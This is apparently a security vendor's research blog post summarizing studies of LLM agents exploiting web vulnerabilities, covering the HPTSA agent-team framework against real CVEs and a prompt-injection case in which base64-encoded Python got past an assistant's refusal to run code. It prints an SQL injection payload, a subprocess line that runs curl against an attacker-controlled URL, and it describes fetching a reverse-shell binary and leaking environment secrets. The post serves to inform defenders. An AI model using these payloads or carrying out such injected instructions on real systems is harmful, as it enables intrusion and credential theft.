Get a demo

Voyager18 (research)

Exploiting cyber security vulnerabilities via LLM agents

AI is presenting cyber security professionals with numerous challenges, not least through LLM agents. Here's what you need to know.

Yiftah Szoke | June 30, 2024

Recent research has highlighted advanced techniques demonstrating how teams of LLM agents can exploit cyber security vulnerabilities using various approaches. Numerous studies on exploiting vulnerabilities in Large Language Models (LLMs) have emerged over the past year. Here, we summarize three examples addressing this issue, considering the potential implications and dangers of LLM integrated systems. 

This independent research explores exploitation via LLM models from different angles. Some studies focus on exploiting zero-day vulnerabilities through integrated LLMs, while others investigate the possibility of achieving Remote Code Execution in LLM environments. 

Here’s what we discovered: 

In brief

We recently reviewed three fascinating research studies on the exploitation of cyber security vulnerabilities in Large Language Models (LLMs) from different perspectives.  

One study examines how teams of LLM agents can exploit zero-day vulnerabilities, while the other two focus on leveraging agent integration for remote code execution (RCE) and other sophisticated attacks.  

The first study, conducted by researchers at the University of Illinois Urbana-Champaign, explores how collaborative teams of LLM agents can effectively target and exploit zero-day vulnerabilities – those previously unknown flaws that present significant security risks. The study introduces a novel approach where a primary agent coordinates with specialized sub-agents to navigate and identify vulnerabilities, achieving remarkable success in real-world scenarios. 

The second and third studies explore integrating LLM agents for performing remote code execution (RCE) and other complex cybersecurity attacks. These studies reveal sophisticated methods by which LLM agents interact with various tools and APIs, autonomously performing tasks that traditionally required human expertise. Researchers demonstrate these agents’ advanced problem-solving abilities, executing intricate attack strategies and highlighting the need for robust security measures. 

These groundbreaking studies provide valuable insights into the capabilities of LLM agents in exploiting cybersecurity vulnerabilities. They show how LLM agents can autonomously identify and exploit both known and unknown vulnerabilities, underscoring the critical need for advanced security measures in the digital age. 

The integration of LLM agents in cyber security presents a double-edged sword, offering powerful tools for both attackers and defenders, and highlighting the ongoing arms race between cyber threats and security solutions. 

 

Overview of web security and LLM agents

Before delving into our methodology for using LLM agents to autonomously hack websites, let’s look at LLM agents and highlight key aspects of web security: 

Web security

Web security is a vast and intricate field, so we’ll just focus on the essential details here. Typically, websites consist of a ‘front-end’ that users interact with and a ‘back-end’, generally hosted on remote servers. These servers often store sensitive information, making it crucial to prevent unauthorized access.  

In the context cyber security, vulnerabilities can arise in both the front-end and back-end of websites. According to a study from 2007 by Grossman, Front-end exploits usually target insecure browser settings or security flaws in front-end logic, such as cross-site scripting (XSS) attacks, where a malicious script is injected. These attacks can be used to steal user data. 

Back-end exploits often involve manipulating server-side logic. For instance, front-ends frequently interact with back-end databases. Another 2006 study by William G.J. Halfond, Jeremy Viegas, and Alessandro Orso, shows how the SQL injection attacks exploit this interaction by allowing users to execute unintended commands through input fields. For example, if a website’s code for fetching usernames and passwords does not properly sanitize inputs: 

uName = getRequestString(“username”); 

uPass = getRequestString(“userpassword“); 

sql = ‘SELECT * FROM Users WHERE Name =”‘ + uName + ‘” AND Pass =”‘ + uPass + ‘”‘ 

 

An attacker could input ” or “”=” as both the username and password, which would always evaluate to true and return all user data from the database. This is a basic form of SQL injection, and our work tests more sophisticated forms of SQL and other back-end attacks. 

Researchers Richard Fang, Rohan Bindu, Akul Gupta ,Qiusi Zhan and Daniel Kang have carefully demonstrated how LLM Agents can Autonomously Hack Websites, performing complex tasks without prior knowledge of the vulnerability. 

LLM agents

Though a universally accepted definition of LLM agents does not exist, they are often described as systems capable of using large language models to reason through problems, devise plans to solve them, and execute these plans using various tools. The primary focus tends to be primarily on their problem-solving abilities. 

One of the fundamental strengths of LLM agents is their capacity to interact with tools and APIs. This interaction allows LLMs to perform actions autonomously, eliminating the need for human intervention to carry out actions and provide feedback. There are several methods for LLMs to interface with tools, including proprietary solutions like those offered by OpenAI. 

 Another crucial feature of LLM agents is their ability to plan and respond to outputs from these tools and APIs.  

While more sophisticated planning methods have also been explored, this can be as straightforward as incorporating the tools’ outputs as additional context for the model. Additionally, a significant capability of LLM agents is their ability to read and interpret documents, which is closely related to retrieval-augmented generation. This helps the agent concentrate on relevant topics and other various capabilities, such as memory. 

 

HPTSA: Hierarchical Planning and Task-Specific Agents

Previous approaches involved a single AI agent responsible for exploring the computer system (e.g., a website), planning the attack, and executing it. Given that all highly capable AI agents in cyber security currently rely on large language models (LLMs), combining exploration, planning, and execution is challenging due to their limited context lengths. 

To overcome this challenge, researchers have designed specialized, task-specific agents. The primary agent, a hierarchical planning agent, explores the website to identify vulnerabilities and target specific pages.

After formulating a plan, this planning agent delegates tasks to a team manager agent, which then assigns task-specific agents to exploit particular vulnerabilities.  

Single agents often struggle with exploring various vulnerabilities and engaging in long-term strategic planning. To address this, the researchers introduced HPTSA (Hierarchical Planning and Task-Specific Agents), a novel system where a primary planning agent orchestrates the activities of specialized subagents.

This planning agent navigates the system, identifies necessary actions, and deploys subagents to address specific vulnerabilities, thus overcoming the challenges associated with extended planning. 

HPTSA consists of three primary components: (1) a hierarchical planner, (2) a team manager for task-specific agents, and (3) a collection of task-specific expert agents, following is the overall architecture: 

The first component – the hierarchical planner, is responsible for exploring the environment (such as a website). After conducting this exploration, it determines a set of instructions to forward to the team manager. For instance, the hierarchical planner might identify that the login page is vulnerable to certain types of attacks and decide to target that area. 

The second component – the team manager for task-specific agents. This manager decides which specific agents to deploy. For example, it might select a SQL injection (SQLi) expert agent for targeting a particular webpage. Additionally, the team manager collects information from the runs of these agents, using this data to either provide more detailed instructions for rerunning the same agents or to inform the execution of other agents based on previous findings. 

The final component – consists of the task-specific expert agents themselves. These agents are specialized in exploiting particular types of vulnerabilities. 

 

Leveraging LLM agents to exploit vulnerabilities

Evaluating data for benchmarking zero-day vulnerabilities

To evaluate their agent framework, the researchers developed a benchmark of real-world zero-day vulnerabilities. They had a list of vulnerabilities along with their descriptions and metadata, and the construction of this benchmark was guided by several objectives: 

Firstly, they ensured that all vulnerabilities were discovered after the knowledge cutoff date for the GPT-4 base model they used. This step was crucial to avoid issues related to training dataset leakage, which can compromise the validity of benchmarking LLMs in a zero-day context. 

Secondly, the researchers concentrated on web vulnerabilities that were reproducible and had specific triggers. Unlike many non-web vulnerabilities, which require complex setups or have ambiguous success conditions, web vulnerabilities offer clear pass or fail criteria. Previous studies, for example, tested vulnerabilities in Python packages that allowed arbitrary code execution when included, necessitating a comprehensive testing framework. In contrast, web vulnerabilities provided straightforward testing conditions. 

Using these criteria, the researchers compiled a set of 15 web vulnerabilities. This collection includes various types such as XSS, CSRF, SQLi, arbitrary code execution, and others, all of which are classified as medium severity or higher, including high severity and critical vulnerabilities. 

Vulnerability trends

Real-world applications of HPTSA

The case studies provided in Teams of LLM Agents can Exploit Zero-Day Vulnerabilities underscore the varying effectiveness of different techniques employed by HPTSA in exploiting real-world vulnerabilities. Techniques targeting input validation failures and administrative access points proved highly effective, while scenarios with limited feedback and encrypted communications posed significant challenges. These findings emphasize the need for robust security measures and highlight the potential of sophisticated frameworks like HPTSA in identifying and addressing cyber security threats. 

These insights illustrate the practical implications of effective versus ineffective hacking techniques using LLM agents and specialized frameworks. This comprehensive understanding of vulnerabilities and exploitation methods can significantly enhance cyber security defenses. 

 

Successful case studies

The authors examined vulnerabilities in Flusity-CMS (CVE-2024-24524 and CVE-2024-27757). The admin panel’s add-menu component is prone to CSRF attacks (CVE-2024-24524), and the gallery add-on has an XSS vulnerability (CVE-2024-27757). 

During HPTSA testing on this CMS, the following procedures were documented: 

XSS agent execution

  • Attempt 1: Logged in but did not navigate to /admin.php for XSS exploits, listing potential areas instead. 
  • Attempt 2: Logged in, reached /admin.php, created a post, injected an XSS payload, and published it, exploiting an unspecified XSS vulnerability. 
  • Attempt 3: Logged in, accessed /admin.php, created a post and XSS payload, and successfully exploited CVE-2024-27757 in the gallery add-on. 

SQL agent execution

  • Attempt 1: Tried SQL injection on the login page, which failed. 
  • Attempt 2: Another failed SQL injection on the login page; logged in and failed SQL injection on the post creation page. 
  • Attempt 3: Failed SQL injection on the login page; logged in and tried SQL payloads on post and language search features, which also failed. 

CSRF agent execution

  • Attempt 1: Logged in, navigated to the menu creation endpoint, created a menu, and crafted a CSRF payload, successfully exploiting CVE-2024-24524. 
  • Attempt 2: Logged in, created a post, and crafted a CSRF payload to make the admin create a post, which failed. 
  • Attempt 3: Repeated the previous step, but the payload failed again. 

The researchers also explored CVE-2024-34061, involving improper input parameter parsing leading to JavaScript execution. The vulnerability exists on a specific page without proper escaping, requiring the agent to navigate to this page. 

The case studies highlight HPTSA’s capabilities, synthesizing information across agents’ execution traces and directing the CSRF agent based on SQL traces, mimicking expert cybersecurity red-teamers. Task-specific agents focus on vulnerabilities without backtracking, handled by the supervisor agent, overcoming single agents’ backtracking struggles noted in previous research. 

 

Unsuccessful case studies

The research also identified vulnerabilities that HPTSA could not exploit, such as CVE-2024-25635, the alf.io improper authorization vulnerability. This flaw involves accessing a specific API endpoint not listed in alf.io’s public documentation. Without access to this documentation, the agent could not locate the endpoint. 

Similarly, HPTSA struggled with CVE-2024-33247, the Sourcecodester SQLi admin-manage-user vulnerability. This vulnerability is hard to exploit because the necessary route is not easily discoverable, reducing the success of random or automated attacks.

Additionally, the required SQL injection pathway is on a site without visible input fields, making it difficult for tools and agents to identify or target the endpoint. 

These findings suggest that the performance of these agents could be enhanced by directing expert agents to specific pages and exploring hard-to-access endpoints through brute force or other techniques. 

 

Harnessing LLM agent integration for remote code execution (RCE)

Integrating LLMs involves deploying them in application environments, either on-premises or in the cloud, for tasks like virtual assistants, chatbots, and content creation. Understanding the unique requirements of each application is essential for seamless integration.

Two pivotal studies have focused on the capabilities of LLM agents and the specific threats posed by remote code execution (RCE) vulnerabilities in these systems. 

An in-depth research study by Blaze explores integrating ChatGPT-4 as an assistant to help end-users gather detailed information about company projects. During LLM pentest engagements, they encountered a vulnerability class known as “Prompt Leaking” and its exploitation through “Prompt Injection,” allowing unauthorized execution of system commands via Python code injections.

Blaze Lab’s detailed case study examines the mechanics, implications, and exploitation methodology of these vulnerabilities. 

The case study describes HTTP (POST) requests containing a JSON body with a “historic” key storing conversation history from the second message onwards. Analyzing these requests revealed discrepancies in the user’s prompt compared to the initial input, leading to unintended responses revealing deep-seated model instructions. 

Blaze researchers observed that from the second sent message onwards, the HTTP (POST) requests included a JSON body containing a “historic” key to store the conversation’s history.

They noticed the prompt sent by the user contained additional information compared to what was initially provided to the application. A series of prompts manipulating the closure of triple quotes and instructing the chat to ignore the previous input could trigger unintended responses, revealing the model’s deep-seated instructions. 

In another critical study titled “Demystifying RCE Vulnerabilities in LLM-Integrated Apps,” researchers developed LLMSmith, a framework aimed at detecting and exploiting RCE vulnerabilities within LLM-integrated applications.

This framework integrates techniques from static analysis, natural language processing (NLP), and jailbreaking to perform efficient testing on both frameworks and real-world applications. 

 

Prompt leaking vulnerabilities

Prompt leaking involves crafting specific prompts to extract or “leak” information or instructions provided to an AI model. This can range from leaking sensitive data to aiding in the construction of prompts that lead to more severe vulnerabilities. 

Prompt Injection is a vulnerability where an attacker manipulates a large-scale language model (LLM) with customized inputs, causing it to carry out unintended actions.

This manipulation can bypass system prompts or alter external inputs, potentially resulting in data theft, social engineering, and other severe consequences. 

Prompt Leaking often serves as the initial phase for Prompt Injection. Attackers use leaked information to craft precise prompts that reveal the model’s instructions. This manipulation of the AI model’s behavior and knowledge can lead to actions such as requesting sensitive information or executing commands. 

 

Before diving into the exploitation process, it’s essential to have a clear image of the JSON’s specific structure returned in the HTTP response. The HTTP response JSON’s structure holds critical details that helped the attackers in efficiently performing the prompt injection. The structure is as follows: 

Key 

Value 

“protocol” 

Conversation Protocol 

“answer_message_id” 

Response Message ID 

“answer” 

User Interface Display Response 

“historic” 

Dialogue History 

“knowledge” 

Chat Context Words/Sentences 

“summary” 

Conversation Title 

In Blaze’s scenario, the study initially showed that any direct prompts given to the assistant to execute Python code were declined, mentioning the security reasons for their declining. 

However, to exploit this vulnerability, a strategy was used in which the assistant was directed to decode a Base64 string containing hidden Python code. The initial exploitation attempt included a payload instructing the LLM to disregard previous instructions and carry out the mathematical operation of adding 15 + 1. 

Blaze researchers then discovered that although the assistant’s response did not directly display the outcome of the code execution within the “answer” key visible to the end user in the graphical interface, the decoded string sent earlier in Base64 was being shown.

However, an additional string was appended to the value of the “knowledge” key in the JSON, containing an encoded Base64 string with the solution.

Realizing the potential feasibility of executing Python codes, a specific payload encoded in Base64 was used to verify this capability. This code attempted to make an external HTTP GET request to a Burp Collaborator server via cURL, which then made possible the confirmation that the request had been made to Burp Collaborator:

import subprocess 

subprocess.run(["curl", "{External URL we control}"]) 

Executing this code successfully validated the assistant’s capability to execute codes and carry out external actions. Further exploitation resulted in extracting a list of system environment variables, disclosing sensitive information like Azure database passwords and API keys for different services, including OpenAI’s API key used in the LLM integration. This disclosure provided meaningful insight into the system’s configuration and potential vulnerabilities. 

There was also the potential to obtain a reverse shell using Python’s subprocess module for executing system commands, with the payload encoded in base64. Upon decoding, Python code led to an HTTP request using the cURL tool to fetch and download a binary file with a crafted Linux payload to gain a reverse shell, storing it in the “/tmp” directory. 

After granting permission to execute the binary using Linux “chmod” through the same exploitation process, a request was made for the binary to be executed. Finally, before attempting a reverse shell, a request was made to read the “/etc/hosts” file on the application server. This made it possible to obtain a shell through code injection in a session controlled by Blaze Information Security. 

The code execution mechanism and why it occurred

Upon careful examination of the requested documentation from the client, an essential aspect of its implementation was discovered: 

The get_general_information() function is responsible for providing general aspect information such as “What is the most expensive project?”, “How many projects are underway?”, “Which projects are from the ‘GER’?”, and more. 

To gather this information, GPT is tasked with generating code, which is then executed using Python’s exec() function. Then, a designated prompt was crafted for the purpose of the [Client’s Name] overseeing various projects through its Project Office, and the project information to be stored in a database table, with data contained in a variable named ‘projects’ in Python code. 

Whenever this function is triggered, GPT is instructed to generate code that would utilize the exec() function to execute the generated code. 

Although direct requests to execute raw Python code were unsuccessful, it was presumed that GPT refrained from executing such code due to security concerns. However, requesting the assistant to create a prompt containing the encoded string led to GPT generating and decoding the base64 payloads, thereby enabling the exploitation. 

The assistant was instructed to decode and execute the following code: 

exec('print(__init__)') 

In Python, init is a special method known as the constructor. It is automatically invoked when a new instance (object) of a class is created, allowing for the initialization of object attributes (variables). GPT’s API generated code importing the base64 module and utilized the b64decode method to decode the submitted string within the application. 

The advancements in the capabilities of LLM agents reveal both the immense potential and significant dangers they pose in the realm of cyber security.

Studies from esteemed institutions and practical explorations by security firms illustrate how collaborative LLM agents can identify and exploit zero-day vulnerabilities, leveraging sophisticated frameworks like Hierarchical Planning and Task-Specific Agents (HPTSA) to navigate and target complex systems. 

Additionally, the ability of LLM agents to autonomously execute remote code, as seen in prompt leaking and injection attacks, underscores the need for heightened security measures. These agents exemplify the dual-edged nature of AI in cyber security, offering powerful tools for defense while presenting new cyber threat vectors.  

Ongoing research and real-world case studies emphasize the urgent need for robust defenses and vigilant monitoring to protect against these evolving threats, highlighting the delicate balance between innovation and security in the digital age. 

Sources: 

Free for risk owners

Set up in minutes to aggregate and prioritize cyber risk across all your assets and attack vectors.

“The only free RBVM tool out there The only free RBVM tool lorem ipsum out there. The only”.

Name Namerson
Head of Cyber Security Strategy

strip-img-2.png